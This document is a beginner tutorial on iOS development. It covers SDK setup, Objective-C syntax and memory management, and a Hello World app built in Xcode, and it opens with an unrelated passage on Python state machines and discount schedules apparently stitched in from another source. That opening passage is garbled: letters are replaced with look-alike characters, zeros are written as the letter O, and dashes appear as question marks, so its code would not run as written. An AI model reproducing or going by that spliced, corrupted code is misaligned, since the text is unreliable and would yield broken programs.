from buyers import STANDARD, ACME, MEGAMART, BAGOBOLTS # Discount consists of dollаr requirement аnd а percentаge reduction # Eаch buyer cаn hаve аn аscending series of discounts, the highest # one аpplicаble to а month is used. discount_schedules = { STANDARD : [(5OOO,1O),(1OOOO,2O),(15OOO,3O),(2OOOO,4O)], ACME : [(1OOO,1O),(5OOO,15),(1OOOO,3O),(2OOOO,4O)], MEGAMART : [(2OOO,1O),(5OOO,2O),(1OOOO,25),(3OOOO,5O)], BAGOBOLTS : [(25OO,1O),(5OOO,15),(1OOOO,25),(3OOOO,5O)], } item_prices = { STANDARD : {'widgets':1.O, 'whаtzits':O.9, 'doodаds':1.1, 'dingdongs':1.3, 'flаzs':O.7}, ACME : {'widgets':O.9, 'whаtzits':O.9, 'doodаds':1.O, 'dingdongs':O.9, 'flаzs':O.6}, MEGAMART : {'widgets':1.O, 'whаtzits':O.8, 'doodаds':1.O, 'dingdongs':1.2, 'flаzs':O.7}, BAGOBOLTS : {'widgets':O.8, 'whаtzits':O.9, 'doodаds':1.1, 'dingdongs':1.3, 'flаzs':O.5}, }
In plаce of reаding in such а dаtа structure, а full аpplicаtion might cаlculаte some vаlues or reаd them from а dаtаbаse of some sort. Nonetheless, the division of dаtа, stаte logic, аnd аbstrаct flow into sepаrаte modules mаkes for а good design.
Another benefit of the stаte mаchine design аpproаch is thаt you cаn use different stаrt аnd end stаtes without touching the stаte hаndlers аt аll. Obviously, you do not hаve complete freedom in doing so?if а stаte brаnches to аnother stаte, the brаnch tаrget needs to be included in the list of "registered" stаtes. You cаn, however, аdd homonymic hаndlers in plаce of tаrget processing stаtes. For exаmple:
from stаtemаchine import StаteMаchine from BigGrаph import * def subgrаph_end(cаrgo): print "Leаving subgrаph..." foo = subgrаph_end bаr = subgrаph_end def spаm_return(cаrgo): return spаm, None bаz = spаm_return if __nаme__=='__mаin__': m = StаteMаchine() m.аdd_stаte(foo, end_stаte=1) m.аdd_stаte(bаr, end_stаte=1) m.аdd_stаte(bаz) mаp(m.аdd_stаte, [spаm, eggs, bаcon]) m.set_stаrt(spаm) m.run(None)
In а complex stаte mаchine grаph, you often encounter relаtively isolаted subgrаphs. Thаt is, а pаrticulаr collection of stаtes?i.e., nodes?might hаve mаny connections between them, but only а few connections out to the rest of the grаph. Usuаlly this occurs becаuse а subgrаph concerns а relаted set of functionаlity.
For processing the buyer report discussed eаrlier, only seven stаtes were involved, so no meаningful subgrаphs reаlly exist. But in the subgrаph exаmple аbove, you cаn imаgine thаt the BigGrаph module contаins hundreds or thousаnds of stаte hаndlers, whose tаrgets define а very complex complete grаph. Supposing thаt the stаtes spаm, eggs, аnd bаcon define а useful subgrаph, аnd аll brаnches out of the subgrаph leаd to foo, bаr, or bаz, the code аbove could be аn entire new аpplicаtion.
The exаmple redefined foo аnd bаr аs end stаtes, so processing (аt leаst in thаt pаrticulаr StаteMаchine object) ends when they аre reаched. However, bаz is redefined to trаnsition bаck into the spаm-eggs-bаcon subgrаph. A subgrаph exit need not represent а terminаtion of the stаte mаchine. It is аctuаlly the end_stаte flаg thаt controls terminаtion?but if foo wаs not mаrked аs аn end stаte, it would rаise а RuntimeError when it fаiled to return а vаlid stаte tаrget.
If you creаte lаrge grаphs?especiаlly with the intention of utilizing subgrаphs аs stаte mаchines?it is often useful to creаte а stаte diаgrаm. Pencil аnd pаper аre perfectly аdequаte tools for doing this; а vаriety of flow-chаrt softwаre аlso exists to do it on а computer. The goаl of а diаgrаm is to аllow you to identify clustered subgrаphs аnd most especiаlly to help identify pаths in аnd out of а functionаl subgrаph. A stаte diаgrаm from our buyer report exаmple is given аs illustrаtion. A quick look аt Figure 4.1, for exаmple, аllows the discovery thаt the error end stаte is isolаted, which might not hаve been evident in the code itself. This is not а problem, necessаrily; а future enhаncement to the diаgrаm аnd hаndlers might utilize this stаte, аnd whаtever logic wаs written into it.
On the fаce of it, а lot of "mаchinery" went into processing whаt is not reаlly thаt complicаted а report аbove. The goаl of the stаte mаchine formаlity wаs both to be robust аnd to аllow for expаnsion to lаrger problems. Putting аside the stаte mаchine аpproаch in your mind, how else might you go аbout processing reports of the presented type (аssume thаt "reаsonаble" vаriаtions occur between reports of the sаme type).
Try writing а fresh report processing аpplicаtion thаt produces the sаme results аs the presented аpplicаtion (or аt leаst something close to it). Test your аpplicаtion аgаinst the sаmple report аnd аgаinst а few vаriаnts you creаte yourself.
Whаt errors did you encounter running your аpplicаtion? Why? Is your аpplicаtion more concise thаn the presented one? Which modules do you count аs pаrt of the presented аpplicаtion? Is your аpplicаtion's code cleаrer or less cleаr to follow for аnother progrаmmer? Which аpproаch would be eаsier to expаnd to encompаss other report formаts? In whаt respect is your аpplicаtion better/worse thаn the stаte mаchine exаmple?
The error stаte is never аctuаlly reаched in the buyer_invoices.py аpplicаtion. Whаt other trаnsition conditions into the error stаte would be reаsonаble to аdd to the аpplicаtion? Whаt types of corruption or mistаkes in reports do you expect most typicаlly to encounter? Sometimes reports, or other documents, аre flаwed, but it is still desirаble to utilize аs much of them аs possible. Whаt аre good аpproаches to recover from error conditions? How could you express those аpproаches in stаte mаchine terms, using the presented StаteMаchine class аnd frаmework? | http://etutorials.org/Programming/Python.+Text+processing/Chapter+4.+Parsers+and+State+Machines/4.2+An+Introduction+to+State+Machines/ | crawl-001 | refinedweb | 4,766 | 61.87 |
Reminder: running the autoformatters and linters
Most of Pants' style is enforced via Black, isort, Docformatter, Flake8, and MyPy. Run these commands frequently when developing:
$ ./pants --changed-since=HEAD fmt $ build-support/githooks/pre-commit
Tip: improving Black's formatting by wrapping in
()
Sometimes, Black will split code over multiple lines awkwardly. For example:
register( "--pants-bin-name", advanced=True, default="./pants", help="The name of the script or binary used to invoke pants. " "Useful when printing help messages.", )
Often, you can improve Black's formatting by wrapping the expression in parentheses, then rerunning
fmt:
register( "--pants-bin-name", advanced=True, default="./pants", help=( "The name of the script or binary used to invoke pants. " "Useful when printing help messages." ), )
This is not mandatory, only encouraged.
Style
#. All comments should be complete sentences and should end with a period.
Good:
# This is a good comment.
Bad:
#Not This
Comment lines should not exceed 100 characters. Black will not auto-format this for you; you must manually format comments.
When to comment
We strive for self-documenting code. Often, a comment can be better expressed by giving a variable a more descriptive name, adding type information, or writing a helper function.
Further, there is no need to document how typical Python constructs behave, including how type hints work.
Bad:
# Loop 10 times. for _ in range(10): pass # This stores the user's age in days. age_in_days = user.age * 365
Instead, comments are helpful to give context that cannot be inferred from reading the code. For example, comments may discuss performance, refer to external documentation / bug links, explain how to use the library, or explain why something was done a particular way.
Good:
def __hash__(self): # By overriding __hash__ here, rather than using the default implementation, # we get a 10% speedup to `./pants list ::` (1000 targets) thanks to more # cache hits. This is safe to do because ... ... # See for the original implementation. class OrderedSet: ...
TODOs
When creating a TODO, first create an issue in GitHub. Then, link to the issue # in parantheses and add a brief description.
For example:
# TODO(#5427): Remove this block once we can get rid of the `globs` feature.
Strings
Use
f-strings
f-strings
Use f-strings instead of
.format() and
%.
# Good f"Hello {name}!" # Bad "Hello {}".format(name) "Hello %s" % name
Conditionals
Prefer conditional expressions (ternary expressions)
Similar to most languages' ternary expressions using
?, Python has conditional expressions. Prefer these to explicit
if else statements because we generally prefer expressions to statements and they often better express the intent of assigning one of two values based on some predicate.
# Good lang = "hola" if lang == "spanish" else "hello" # Discouraged, but sometimes appropriate if lang == "spanish": x = "hola" else: x = "hello"
Conditional expressions do not work in more complex situations, such as assigning multiple variables based on the same predicate or wanting to store intermediate values in the branch. In these cases, you can use
if else statements.
Prefer early returns in functions
Often, functions will have branching based on a condition. When you
return from a branch, you will exit the function, so you no longer need
elif or
else in the subsequent branches.
# Good def safe_divide(dividend: int, divisor: int) -> Optional[int]: if divisor == 0: return None return dividend / divisor # Discouraged def safe_divide(dividend: int, divisor: int) -> Optional[int]: if divisor == 0: return None else: return dividend / divisor
Why prefer this? It reduces nesting and reduces the cognitive load of readers. See here for more explanation.
Collections
Use collection literals
Collection literals are easier to read and have better performance.
We allow the
dict constructor because using the constructor will enforce that all the keys are
strs. However, usually prefer a literal.
# Good a_set = {a} a_tuple = (a, b) another_tuple = (a,) a_dict = {"k": v} # Bad a_set = set([a]) a_tuple = tuple([a, b]) another_tuple = tuple([a]) # Acceptable a_dict = dict(k=v)
Prefer merging collections through unpacking
Python has several ways to merge iterables (e.g. sets, tuples, and lists): using
+ or
|, using mutation like
extend(), and using unpacking with the
* character. Prefer unpacking because it makes it easier to merge collections with individual elements; it is formatted better by Black; and allows merging different iterable types together, like merging a list and tuple together.
For dictionaries, the only two ways to merge are using mutation like
.update() or using
** unpacking (we cannot use PEP 584's
| operator yet because we need to support < Python 3.9.). Prefer merging with
** for the same reasons as iterables, in addition to us preferring expressions to mutation.
# Preferred new_list = [*l1, *l2, "element"] new_tuple = (*t1, *t2, "element") new_set = {*s1, *s2, "element"} new_dict = {**d1, "key": "value"} # Discouraged new_list = l1 + l2 + ["element"] new_tuple = t1 + t2 + ("element",) new_set = s1 | s2 | {"element"} new_dict = d1 new_dict["key"] = "value"
Prefer comprehensions
Comprehensions should generally be preferred to explicit loops and
map/
filter when creating a new collection. (See for a deep dive on comprehensions.)
Why avoid
map/
filter? Normally, these are fantastic constructs and you'll find them abundantly in the Rust codebase. They are awkward in Python, however, due to poor support for lambdas and because you would typically need to wrap the expression in a call to
list() or
tuple() to convert it from a generator expression to a concrete collection.
# Good new_list = [x * 2 for x in xs] new_dict = {k: v.capitalize() for k, v in d.items()} # Bad new_list = [] for x in xs: new_list.append(x * 2) # Discouraged new_list = list(map(xs, lambda x: x * 2))
There are some exceptions, including, but not limited to:
- If mutations are involved, use a
forloop.
- If constructing multiple collections by iterating over the same original collection, use a
forloop for performance.
- If the comprehension gets too complex, a
forloop may be appropriate. Although, first consider refactoring with a helper function.
Classes
Prefer dataclasses
We prefer dataclasses because they are declarative, integrate nicely with MyPy, and generate sensible defaults, such as a sensible
repr method.
from dataclasses import dataclass # Good @dataclass(frozen=True) class Example: name: str age: int = 33 # Bad class Example: def __init__(self, name: str, age: int = 33) -> None: self.name = name self.age = age
Dataclasses should be marked with
frozen=True.
If you want to validate the input, use
__post_init__:
@dataclass(frozen=True) class Example: name: str age: int = 33 def __post_init__(self) -> None: if self.age < 0: raise ValueError( f"Invalid age: {self.age}. Must be a positive number." )
If you need a custom constructor, such as to transform the parameters, use
@frozen_after_init and
unsafe_hash=True instead of
frozen=True.
from dataclasses import dataclass from typing import Iterable, Tuple from pants.util.meta import frozen_after_init @frozen_after_init @dataclass(unsafe_hash=True) class Example: values: Tuple[str, ...] def __init__(self, values: Iterable[str]) -> None: self.values = tuple(values)
Type hints
Refer to MyPy documentation for an explanation of type hints, including some advanced features you may encounter in our codebase like
Protocol and
@overload.
Annotate all new code
All new code should have type hints. Even simple functions like unit tests should have annotations. Why? MyPy will only check the body of functions if they have annotations.
# Good def test_demo() -> None: assert 1 in "abc" # MyPy will catch this bug. # Bad def test_demo(): assert 1 in "abc" # MyPy will ignore this.
Precisely, all function definitions should have annotations for their parameters and their return type. MyPy will then tell you which other lines need annotations.
Interacting with legacy code? Consider adding type hints.
Pants did not widely use type hints until the end of 2019. So, a substantial portion of the codebase is still untyped.
If you are working with legacy code, it is often valuable to start by adding type hints. This will both help you to understand that code and to improve the quality of the codebase. Land those type hints as a precursor to your main PR.
Prefer
cast() to override annotations
cast()to override annotations
MyPy will complain when it cannot infer the types of certain lines. You must then either fix the underlying API that MyPy does not understand or explicitly provide an annotation at the call site.
Prefer fixing the underlying API if easy to do, but otherwise, prefer using
cast() instead of a variable annotation.
from typing import cast # Good x = cast(str, untyped_method() # Discouraged x: str = untyped_method()
Why? MyPy will warn if the
cast ever becomes redundant, either because MyPy became more powerful or the untyped code became typed.
Use error codes in
# type: ignore comments
# type: ignorecomments
# Good x = "hello" x = 0 # type: ignore[assignment] # Bad y = "hello" y = 0 # type: ignore
MyPy will output the code at the end of the error message in square brackets.
Prefer Protocols ("duck types") for parameters
Python type hints use Protocols as a way to express "duck typing". Rather than saying you need a particular class, like a list, you describe which functionality you need and don't care what class is used.
For example, all of these annotations are correct:
from typing import Iterable, List, MutableSequence, Sequence x: List = [] x: MutableSequence = [] x: Sequence = [] x: Iterable = []
Generally, prefer using a protocol like
Iterable,
Sequence, or
Mapping when annotating function parameters, rather than using concrete types like
List and
Dict. Why? This often makes call sites much more ergonomic.
# Preferred def merge_constraints(constraints: Iterable[str]) -> str: ... # Now in call sites, these all work. merge_constraints([">=3.7", "==3.8"]) merge_constraints({">=3.7", "==3.8"}) merge_constraints((">=3.7", "==3.8")) merge_constraints(constraint for constraint in all_constraints if constraint.startswith("=="))
# Discouraged, but sometimes appropriate def merge_constraints(constraints: List[str]) -> str ... # Now in call sites, we would need to wrap in `list()`. constraints = {">=3.7", "==3.8"} merge_constraints(list(constraints)) merge_constraints([constraint for constraint in all_constraints if constraint.startswith("==")])
The return type, however, should usually be as precise as possible so that call sites have better type inference.
Tests
Use
assert instead of
self.assertX
assertinstead of
self.assertX
# Good def test_demo() -> None: assert x is True assert y == 2 assert "hello" in z # Discouraged def test_demo(self) -> None: self.assertTrue(x) self.assertEqual(y, 2) self.assertIn("hello", z)
Why? Beyond it being easier to only need to remember one name, Pytest has magic on the
assert statement to show how each of the values was derived.
Use top-level functions when possible
Prefer to write your tests as top-level functions instead of using
unittest.TestCase.
# Good def test_demo() -> None: assert True # Discouraged class TestDemo(unittest.TestCase): def test_demo(self) -> None: assert True
Updated 13 days ago | https://www.pantsbuild.org/docs/style-guide | CC-MAIN-2020-50 | refinedweb | 1,744 | 56.86 |
RPC_SVC_REG(3N) RPC_SVC_REG(3N)
NAME
svc_fds, svc_fdset, svc_freeargs, svc_getargs, svc_getcaller,
svc_getreq, svc_getreqset, svc_getcaller, svc_run, svc_sendreply -
library routines for RPC servers.
These routines are associated with the server side of the RPC mecha-
nism. Some of them are called by the server side dispatch function,
while others (such as svc_run()) are called when the server is initi-
ated.
Routines
The SVCXPRT data structure is defined in the RPC/XDR Library Defini-
tions of the
#include <<rpc/rpc.h>>
int svc_fds;
Similar to svc_fdset, but limited to 32 descriptors. This inter-
face is obsoleted by svc_fdset.
fd_set svc_fdset;
A global variable reflecting the RPC server's read file descrip-
tor bit mask; it is suitable as a parameter to the select() sys-
tem call. This is only of interest if a service implementor does
not call svc_run(), but rather does their own asynchronous event
processing. This variable is read-only (do not pass its address
to select()!), yet it may change after calls to svc_getreqset()
or any creation routines.
bool_t svc_freeargs(xprt, inproc, in)
SVCXPRT *xprt;
xdrproc_t inproc;
char *in;
Free any data allocated by the RPC/XDR system when it decoded
the arguments to a service procedure using svc_getargs(). This
routine returns TRUE if the results were successfully freed, and
FALSE otherwise.
bool_t svc_getargs(xprt, inproc, in)
SVCXPRT *xprt;
xdrproc_t inproc;
char *in;
Decode.
struct sockaddr_in * svc_getcaller(xprt)
SVCXPRT *xprt;
The approved way of getting the network address of the caller of
a procedure associated with the RPC service transport handle,
xprt.
void svc_getreq(rdfds)
int rdfds;
Similar to svc_getreqset(), but limited to 32 descriptors. This
interface is obsoleted by svc_getreqset().
void svc_getreqset(rdfdsp)
fd_set *rdfdsp;
This routine is only of interest if a service implementor does
not use svc_run(), but instead implements custom asynchronous
event processing. It is called when the select() system call
has determined that an RPC request has arrived on some RPC
socket(s) ; rdfdsp is the resultant read file descriptor bit
mask. The routine returns when all sockets associated with the
value of rdfdsp have been serviced.
void svc_run()
Normally, this routine only returns in the case of some errors.
It waits for RPC requests to arrive, and calls the appropriate
service procedure using svc_getreq() when one arrives. This pro-
cedure is usually waiting for a select() system call to return.
bool_t svc_sendreply(xprt, outproc, out)
SVCXPRT *xprt;
xdrproc_t outproc;
char *out;
Called by an RPC service's dispatch routine to send the results
of a remote procedure call. The parameter xprt is the request's
associated transport handle; outproc is the XDR routine which is
used to encode the results; and out is the address of the
results. This routine returns TRUE if it succeeds, FALSE other-
wise.
SEE ALSO
select(2), rpc(3N), rpc_svc_calls(3N), rpc_svc_create(3N),
rpc_svc_err(3N)
20 January 1990 RPC_SVC_REG(3N) | http://modman.unixdev.net/?sektion=3&page=svc_fds&manpath=SunOS-4.1.3 | CC-MAIN-2017-30 | refinedweb | 470 | 54.02 |
This is a first in a series of articles to get some one up and running with iOS development. iOS is the Operating System that runs on the iPhone, iPad, and iPod Touch. While I will use an iPhone for my example code, you could apply the code to all three devices. After you become comfortable with iOS development, take a look at my second article in this series: Introduction to iOS Graphics APIs Part 1.
To take advantage of this article, you'll need to already have an understanding of object oriented concepts, and you'll need to know a C-language (C, C++, C#) and know what is meant when I use terms such as object, class, function, method, variable, and so on. I'm making the assumption that you have never looked at Objective-C. I'll introduce you to the Objective-C language, and then will walk you through some programming scenarios that I think will best get you started. As things are in any programming environment, there will be more than one way to get a task accomplished, or more than one syntax to express something. Exhaustively presenting all the possible ways that something can be expressed is not reasonably possible. So keep in mind that there are other ways of accomplishing what I explain here.
A minimally sufficient development environment for iOS applications is composed of just an Intel based Mac. Owning an iPhone, iPod, or iPad is optional, but extremely helpful.
If you are looking for the absolute best hardware to use for developing for iOS, it's easy to say "get the top of the line Power Mac with all the options you can". But for most of us (myself included), there's going to be a cost constraint when selecting the development hardware that you use. The absolute minimum hardware configuration that you need will be an Intel based Mac running Snow Leopard. The least expensive Mac that you can purchase new is the Mac Mini. Compared to the price of the lowest cost PC that you can purchase, the Mac Mini will look quite pricy. But I'd suggest shelling out a little more money to get a portable computer. With the Mac Mini, you'll be confined to developing when you are in the room in which it is setup. With one of the Mac Books, you might also find yourself developing when you are relaxing in front of the TV or in some other comfortable spot.
Depending on your needs, if you find that you don't need the latest version of the iPhone for your intended applications, it's a good idea to shop around for bargains when Apple is releasing either a new iPhone or new Macs. I was able to acquire an inexpensive iPhone from some one else that was upgrading, and found a Mac Mini on sale from a store that was clearing their shelves for newer units. (I've since then moved onto a Mac Book Pro after wanting to be able to develop from other rooms in the house.)
You don't need to have an iPhone, iPod, or iPad to get started (hereon, I will collectively refer to these devices as iOS devices). The SDK comes with simulators (or emulators if that's the terminology that you are accustomed to). But the simulators have limitations; you'll find that you'll want to have real hardware when you are developing anything that uses an accelerometer.
If you plan to use real hardware for your testing, it's not sufficient to have just the needed hardware and software. You will also need to have a subscription to Apple's iPhone Development Program (cost about 99 USD per year).
I get a lot of traffic to my personal web site because of a service I reviewed that was designed to allow those without a Mac to do iPhone development. I don't want to go into a discussion of the service here, so I'll just tell you yes, it is mandatory that you have a Macintosh. The only sanctioned hardware for iPhone development is an Intel based Macintosh. Don't waste your time trying to circumvent this.
The iPhone SDK is already present on the installation disk for OS X Snow Leopard. Don't use that one. There will always be a more up to date version available for download. Weighing in at about 3 gigs, the SDK could take some time to download depending on the speed of your connection. To get the installation, go to. You'll see a link to the iPhone dev center. Clicking on it will take you to the page for the SDK download. Apple sometimes has beta versions of the SDK available for download. But unlike the current version of the SDK, the beta versions are not available for all to download. You must be a registered developer with a subscription to have access to them.
The DMG for the SDK will download and automatically mount. Run the installation, and after it finishes, you'll be ready to get stated with development.
Programs created for the iPhone are written in Objective-C. Objective-C is often described as a strict superset of the C language. Others call it C with object oriented concepts applied. The first time I saw it, I have to say I felt like I had no idea what I was looking at. It doesn't look like any other programming language that I know. But after you get through your first few programs, you'll find it to be much easier to follow. Being a strict superset of C, if you already have algorithms that are written in C, you should be able to port them over to the iPhone. The following chart shows some expressions that mean close to the same thing in C and Objective-C:
C/C++
Objective-C
#include "library.h"
#import "library.h""
#import "library.h"
this
self
private:
@private
protected:
@protected
public:
@public
Y = new MyClass();
Y = [[MyClass alloc] init];
try, throw, catch, finally
@try, @throw, @catch, @finally
Within Objective-C, both your class definitions and objects instantiated from those classes are instances of a struct called 'id'. The definition of id is as follows:
id
typedef struct objc_object {
Class* isa;
} *id;
Since this is the foundation of all objects within Objective-C, you will find an "isa" member on every Objective-C object that refers to its type data. Instances of "id" are all pointers, so you can distinguish one from another by comparing their addresses. There is a special id value named nil whose pointer value is set to zero.
isa
nil
In Objective-C, you declare a class' interface separate from its implementation. You have probably seen a similar separation of interface and implementation in C++ programs where a class' interface is defined in a *.h file the implementation of which is in a *.cpp file. Likewise, in Objective-C, the interface is defined in a *.h file and its implementation in a *.m file.
Every class you create in Objective-C should either directly or indirectly derive from the NSObject base class. The base class doesn't look to do much at first glance, but it contains functionality that the runtime needs for interacting with the object. You don't want to have to implement this functionality yourself.
NSObject
To declare a new class, you start off by declaring the class' interface. The class interface declaration starts with the @interface compiler directive, and ends with the @end directive. You'll see a set of open and close curly-brackets within a class interface declaration. Just remember that the closing bracket is not the end of the class interface definition! Here is a generic class definition:
@interface
@end
@interface YourClassName: TheSuperClass
{
instance members
}
Message Declarations
@end
The declaration for the instance members doesn't differ from the one you might expect from one of the other C languages.
BOOL isValid;
float width;
NSString* name;
A class automatically has access to all the classes in its inheritance ancestry. So you can refer to classes of any of its base types without doing anything special. If you are referring to a class that is not in its inheritance chain, then you will need to make a forward declaration for that class. The following makes a forward reference to two classes: Employee and Accountant.
Employee
Accountant
@class Employee, Accountant;
The declaration of messages is different. A message can either be associated with the class or associated with an instance of that class. Class methods are preceded with a plus (+), while instance methods are preceded with a minus (-). The default return type of class messages are id instances. To change the return type to something else, you'll need to put a return type in parentheses just before the class name. Note that this is the same syntax that you would use to cast a variable from one type to another. Here's an example of a simple message declaration:
- (int)GetSize;
Message parameters immediately follow a message name. They are colon delimited, and their types are indicated with the same syntax that one would use to cast to a different type.
-(float) Power:(float)width:(float)height;
The class implementation is in a *.m file. Just as you would in C++, you will need to include the class' header file when you are writing the implementation. Instead of using a #include directive to do this, you will use a #import directive. The syntax for declaring the implementation is similar to the syntax for declaring the interface; only you replace the @interface directive with an @implementation directive. One possible syntax for starting off the implementation follows:
#include
#import
@implementation
#import "YourClass.h"
@implementation YourClass
your message implementations go here
@end
Optionally, you could re-declare the instance variables and super class here, but it's not necessary. The message implementations start off the same way as a message. But instead of terminating the declaration with a semicolon(;), you append a curly bracket pair enveloping your implementation.
;
- (float)square:(float)x
{
return x*x;
}
Most object oriented material you come across will refer to messages being sent among objects. Most of the time, you'll see this implemented through methods. In most cases, the words method and message can be used interchangeably. Objective-C sticks with using the terminology "message". So I'll adhere to that standard within this document.
The syntax for sending a message (which means the same thing as "calling a method") is to enclose the name of the target object and the message to be passed within square brackets. So in C++/C#, you may have send a message using the following syntax:
myObject.SomeMethod();
Within Objective-C, you would accomplish the same thing with the following:
[myObject SomeMethod];
Passing parameters to messages is a little different than what you are used to. For one parameter, things make perfect sense and don't need much of an explanation. Just place a colon after the name of the message followed by the parameter value.
[myObject SomeMethod:20];
When you want to pass more than one argument, things could potentially look messy.
[myObject SomeMethod:20:40];
As more arguments are added to a message, the code could potentially become less readable; I wouldn't expect a developer to memorize the parameters that a method takes. Even if he or she did, then there's still mental effort involved in identifying what parameter is associated with which value. For clarity, you could do something like this:
[myObject SomeMethodA:20 B:40];
In the above, it appears that I've named the parameters 'A' and 'B' and that parameter 'A' is oddly concatenated to the message name. What you may not have realized is that the parameter names and colons are all parts of the message name. So the full name of the message is SomeMethodA:B:.
SomeMethodA:B:
If a message returns an object as a message, you can pass a message to the returned message through a nested call. In C/C#, you would have code that looks like this:
myObject.SomeMessage().SomeOtherMessage();
Whereas in Objective-C, the same thing would be accomplished with this:
[[myObject SomeMessage] SomeOtherMessage];
Prototypes are much like weakly implemented interfaces. In other programming languages, if a class implements an interface, then within the class' declaration, there is a statement that shows that it is implementing a certain interface. With prototypes, the class only needs to implement certain methods to conform to a prototype. There doesn't need to be any mention of the prototype definition that it is conforming to.
An instance of a class is instantiated using the alloc method of the class. alloc will reserve the memory needed for the class. After the memory is allocated, you'll want to initialize it. Every class that has instance members will need to have an init method defined.
alloc
init
myObject = [[MyClass alloc] init];
The first time I saw the above pattern, I made the mistake of thinking that it was equivalent to the following:
myObject = [MyClass alloc];
[myObject init];
They are not equivalent. The value returned by init may not be the same as the value returned by alloc. So you should always combine the alloc and init messages when doing the assignment.
When you implement your own initializer for a class, the initializer should either return self to signal that it was successful, or nil to signal that it was unsuccessful. The return type for an initializer should always be id. This is to explicitly show that the type returned by the initializer may be of another type.
If you need to pass a parameter to your initializer, then it will generally have init as the prefix for the initializer name. For example, if I had an initializer that required a date, I may call it initWithNSSDate.
initWithNSSDate
Objective-C classes keep track of a reference count. The count can be read through -(NSUInteger)retainCount; at any time (though other than satisfying curiosity, there aren't many scenarios that call for needing to do this). When the reference count of an object reaches zero, then it is released. For the most part, the details of this reference counting are abstracted away, and the methods related to reference counting are presented as methods for taking ownership of an object (which increments the reference count) or relinquishing ownership of the object (decrementing the reference count).
-(NSUInteger)retainCount;
The general rule is that if you've created an object with any method prefixed with alloc or new, or had copied the object from an existing object, then you are responsible for releasing the object. If you've taken ownership of an object (with retain), then you must also release it. Note: If you don't own it, then don't release it. Calling autorelease on an object will add it to a pool of objects to be released and deallocated at some point in the future.
new
retain
release
autorelease
When copying an object, if that object's member variables contain pointers to other objects, there are two ways to go about copying it. On way is to copy the pointers from the original object to the object being created. This method of copying (also called a shallow copy) will result in both the new object and the original object to share the same instances of objects that make up their members. So if a change occurs within a member object of one class, it will also affect the member within the other since they are really the same instance. The other method of copying is to create new instances of the member objects when the new object is created. The end result of this is that changes to an instance object on one instance of the object will have no impact on the other. The original and copied objects are completely independent in this case. Both approaches have their advantages and disadvantages when one looks at the results of the two copy methods in terms of memory consumption and potential side affects. There can exist scenarios that have a mixture of shallow and deep copy techniques. If you created a class and implemented a deep copy but one of the instance members implements a shallow copy, then you could end up with an instance member of an instance member referring to the same object as an instance member of an instance member in the object you just copied (that's potentially confusing, but I can think of no clearer way to say it).
There should be consistency between how a class' copy method works and how the class' set methods work. If the set method on the class creates new instances when performing assignment, then the copy method should be a deep copy. If the set method saves the instance that is passed to it, then the copy method should be a shallow copy.
-(void)SetMyMemberVariable:(id)newValue
{
[myMmeberVariable autorelease];
myMemberVariable = [newValue copy];
}
-(void)SetMyMemberVariable:(id)newValue
{
[myMemberVariable autorelease];
myMemberVariable = [newValue retain];
}
The user interface for your iOS programs will be controlled through a class derived from UIViewController. There are two methods on the class that are involved in low memory handling. One is didReceiveMemoryWarning which was in existence before iOS 3. As of iOS version 3 and later, there is a method named viewDidUnload. When the device is low on memory, the OS will destroy the views if it knows that the views can be reloaded and recreated again. When this method is called, your class should respond by releasing its references to view objects.
UIViewController
didReceiveMemoryWarning
viewDidUnload
If you've skipped the Objective-C introduction and tried to jump straight into creating a program, you are about to be lost in a sea of cryptic notation and nonsensical glyphs. I've you've read though the primer, then you'll have no problem understanding what follows. We are going to build a "Hello World" program. The program will have a button and a text field. When someone clicks on the button, the text field will display the words "Hello World". I'll also be taking this as an opportunity to cover some concepts that would otherwise not make sense in the absence of this exercise.
Using either the Finder or Spotlight, startup Xcode. When the Xcode welcoming screen appears, select the option to "Create a new Xcode project".
Ensure that "Application" is selected under iPhone OS to see a list of the type of iOS projects that you can create. Select "View-based Application" and make sure that the "Product" dropdown has iPhone selected. Once you've done this, click on the "Choose" button and type "MyHelloWorld" when prompted for the name of the project.
A new project is generated, and at this time, is in a state such that it can be run. Make sure your iOS device is not connected to the computer (if you try to deploy to your own personal device right now, it will fail) and select "Build and Run". Your project will be compiled and copied to the emulator and run. The result is pretty boring looking; it is just a blank screen since we haven't added anything to the user interface yet. You can click on the red button in Xcode to stop the program. When the program terminates, you'll see its icon in the iPhone simulator. It's just a plain white rounded square. Let's change that.
If you want to change the program's icon, make a new 57x57 pixel PNG image. Don't worry about rounding the corners or doing the other things that make it look iPhone styled; that will happen automatically for you. Once you've made your image in your editor of choice, navigate to it in the Finder. Click-and-drag the icon to the Resources folder in Xcode. You'll be asked whether you want to copy the file into the project's folder or if you want to only copy a reference. It is usually a good idea to copy the file.
In the Resources folder, find the file HelloWorld-Info.plist and click on it. A *.plist file is a property list that contains some general information about the application. Clicking on the plist file will cause the property editor to open. One of the available properties is named "Icon". Double-click on the property to begin editing it and type the name of your icon file. The next time you build and run your application after you close it, you'll see your icon.
The Xcode window is divided into three panes. The horizontal pane on the top has a list of files in it. Look for the file named MyHelloWorldViewController.XIB and double-click on it. This will open up the interface builder.
Among other windows, you should see a blank iPhone surface ready for you to layout controls on it. If you don't see this, then double click on the "View" icon in one of the windows that appears to display the layout surface. Scroll down in the "Library" window until you see the Text-Field control. Drag an instance of this control onto the design surface somewhere on the upper half of the screen. Also drag a "Round Rect Button" to the design surface somewhere close to the text field.
Select the button and then go to the Identity tab in the properties window. Set the Name for the button to "MyButton". Select the text field and set its name to "MyText". Save your changes and then go back to Xcode and run your project again. This time you'll see the text field and the button on the screen.
We want to change the program so that when the user clicks on the button, the text "Hello World" displays in the text field. But if you look through our source code, it will become apparent that neither the button nor the text field are immediately available for us to manipulate in the code.
We can have the button send a message to our code when it is clicked. We need to declare an IBMethod in our code so that the button has something to which it can send its message. Open "HelloWorldViewController.h" and in the line after the closing bracket for the interface definition, add the following.
IBMethod
- (IBAction) myButtonWasClicked:(id)sender;
As you may have gathered from reading the Objective-C primer, you'll also need to add an implementation for this method in the HelloWorldViewController.m file. In the line after the @implementation directive, type the following:
- (IBAction) myButtonWasClicked:(id)sender
{
NSLog(@"The button was clicked");
}
Open HelloWorldViewController.xib in the interface builder. Holding down the control key, click-and-drag from your button to the "File's Owner" icon. A sub-menu appears allowing you to select a method. Select the myButtonWasClicked method.
myButtonWasClicked
Run the project and then type Shift-Command-R in Xcode to open the console. Whenever you click on the button, you will see the text "The button was clicked" appear.
